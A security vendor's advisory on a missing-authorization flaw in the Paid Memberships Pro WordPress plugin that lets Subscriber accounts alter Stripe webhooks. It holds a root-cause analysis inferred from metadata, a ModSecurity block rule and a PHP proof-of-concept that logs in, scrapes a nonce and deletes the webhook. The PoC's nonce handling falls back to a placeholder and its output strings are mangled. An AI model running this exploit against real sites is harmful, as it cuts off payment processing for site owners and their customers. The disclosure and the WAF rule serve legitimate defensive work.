Atomic Edge analysis of CVE-2026-4100 (metadata-based):
This vulnerability affects the Paid Memberships Pro plugin for WordPress, versions 3.6.5 and earlier. It allows authenticated attackers with Subscriber-level access or higher to create, delete, or rebuild the site’s Stripe webhook configuration. The vulnerability carries a CVSS score of 7.1 (High) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, indicating low attack complexity, no user interaction, and a high availability impact.
Root Cause: Based on the CWE-862 (Missing Authorization) classification and the vulnerability description, Atomic Edge analysis infers that the three AJAX handlers (`wp_ajax_pmpro_stripe_create_webhook`, `wp_ajax_pmpro_stripe_delete_webhook`, and `wp_ajax_pmpro_stripe_rebuild_webhook`) lack proper capability checks. In WordPress, AJAX handlers registered with `wp_ajax_` prefix require a valid nonce but normally also enforce specific user capabilities (e.g., `manage_options` for administrative actions). These handlers likely use `wp_ajax_` (not `wp_ajax_nopriv_`) meaning they require authentication, but they fail to verify that the authenticated user has administrative privileges. Without source code confirmation, this is the most plausible explanation aligning with the CWE and the nature of the impacted functionality.
Exploitation: An attacker with a Subscriber-level account can exploit this vulnerability by sending crafted POST requests to `/wp-admin/admin-ajax.php`. The attack requires three parameters: `action` set to one of `pmpro_stripe_create_webhook`, `pmpro_stripe_delete_webhook`, or `pmpro_stripe_rebuild_webhook`; a valid WordPress nonce (which can be obtained from any page accessible to a Subscriber, such as the profile page); and potentially additional parameters like `webhook_id` for deletion. The attacker would first obtain a nonce by inspecting the page source or using a generic nonce endpoint, then send the AJAX request to trigger the unauthorized action.
Remediation: The fix, implemented in version 3.6.6, likely adds a capability check before processing each AJAX request. The plugin should verify that the current user has the `manage_options` capability (or a similar administrative permission) before allowing Stripe webhook configuration changes. This is a standard WordPress security pattern: using `current_user_can(‘manage_options’)` or `wp_die(-1)` after a failed check. The patched version should also ensure that nonce verification is performed correctly, though the CVE description focuses on missing authorization rather than missing nonce validation.
Impact: Successful exploitation allows an attacker to delete the site’s Stripe webhook, breaking the connection between the WordPress site and the Stripe payment gateway. This disrupts all payment processing, subscription renewal synchronization, cancellation handling, and failed payment management. The business impact is severe: existing and new subscribers cannot complete transactions, automatic renewals fail, and the site cannot process refunds or handle failed payments. While the attacker cannot steal payment data (CWE-862 has a confidentiality impact of None), the availability impact is High, potentially causing significant revenue loss and customer dissatisfaction until the webhook is rebuilt by an administrator.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4100 (metadata-based)
# Blocks unauthorized AJAX requests to create, delete, or rebuild Stripe webhooks
# Applies to all authenticated users except administrators (capability check cannot be performed at WAF level)
# Rule blocks the specific AJAX actions regardless of user role; administrators may need to be whitelisted in deployment
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-4100 - Paid Memberships Pro Stripe Webhook AJAX Abuse Attempt',severity:'CRITICAL',tag:'CVE-2026-4100',tag:'wordpress',tag:'paid-memberships-pro'"
SecRule ARGS_POST:action "@rx ^pmpro_stripe_(create_webhook|delete_webhook|rebuild_webhook)$"
"id:20261995,chain"
SecRule REQUEST_METHOD "@streq POST"
"id:20261996,t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4100 - Paid Memberships Pro <= 3.6.5 - Missing Authorization to Authenticated (Subscriber+) Stripe Webhook Deletion and Payment Processing Disruption
/**
* This PoC demonstrates how a Subscriber-level user can delete the Stripe webhook
* configuration via the AJAX handler pmpro_stripe_delete_webhook.
*
* Prerequisites:
* - A valid WordPress user account with Subscriber role (or higher)
* - The target site must have Paid Memberships Pro installed (vulnerable version)
* - The Stripe gateway must be configured (webhook exists to be deleted)
*
* Note: No code diff is available. The PoC assumes the AJAX action requires a nonce
* (which can be obtained from any authenticated page) and optionally a webhook_id parameter.
*/
// Configuration - replace these values with actual target details
$target_url = 'https://example.com'; // WordPress site URL
$username = 'subscriber_user'; // Subscriber-level username
$password = 'subscriber_password'; // Subscriber's password
// Step 1: Log in to get WordPress cookies and nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_2026_4100.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable in production PoC
$login_response = curl_exec($ch);
curl_close($ch);
if (strpos($login_response, 'location:') === false && strpos($login_response, 'wp-admin') === false) {
die('[!] Login failed. Check credentials or target URL.');
}
echo "[+] Logged in as $username.n";
// Step 2: Obtain a WordPress nonce for the AJAX action
// Many plugins expose nonces in admin pages or via separate endpoints.
// For demonstration, we attempt to fetch the user's profile page which typically contains a nonce.
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_4100.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$profile_page = curl_exec($ch);
curl_close($ch);
// Extract the _wpnonce from a typical WordPress nonce pattern (e.g., name="_wpnonce" value="...")
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/i', $profile_page, $matches);
if (!isset($matches[1])) {
// Fallback: try to extract a nonce from a different source or use a generic one
// In newer WordPress, nonces can be obtained via the REST API /wp/v2/users/me
$rest_url = $target_url . '/wp-json/wp/v2/users/me';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_4100.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-WP-Nonce: '));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$rest_response = curl_exec($ch);
curl_close($ch);
// The response headers may contain X-WP-Nonce in the response
// For simplicity, we use a dummy nonce - real exploitation requires a valid nonce
$nonce = '1234567890abcdef1234567890abcdef'; // Placeholder
echo "[!] Could not extract nonce from profile page. Using placeholder.n";
} else {
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";
}
// Step 3: Send AJAX request to delete the Stripe webhook
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$delete_data = array(
'action' => 'pmpro_stripe_delete_webhook',
'_wpnonce' => $nonce,
// 'webhook_id' => 'wh_abc123', // Actual webhook ID may be required; plugin may fetch from options if not provided
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_4100.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] AJAX request sent to: $ajax_urln";
echo "[+] HTTP response code: $http_coden";
echo "[+] Response body: $responsen";
if ($http_code == 200 && strpos($response, 'false') === false && strpos($response, 'error') === false) {
echo "[+] Exploit likely successful. Stripe webhook may have been deleted.n";
} else {
echo "[-] Exploit may have failed. Response indicates rejection or error.n";
}
// Clean up cookie file
unlink('/tmp/cookies_cve_2026_4100.txt');
?>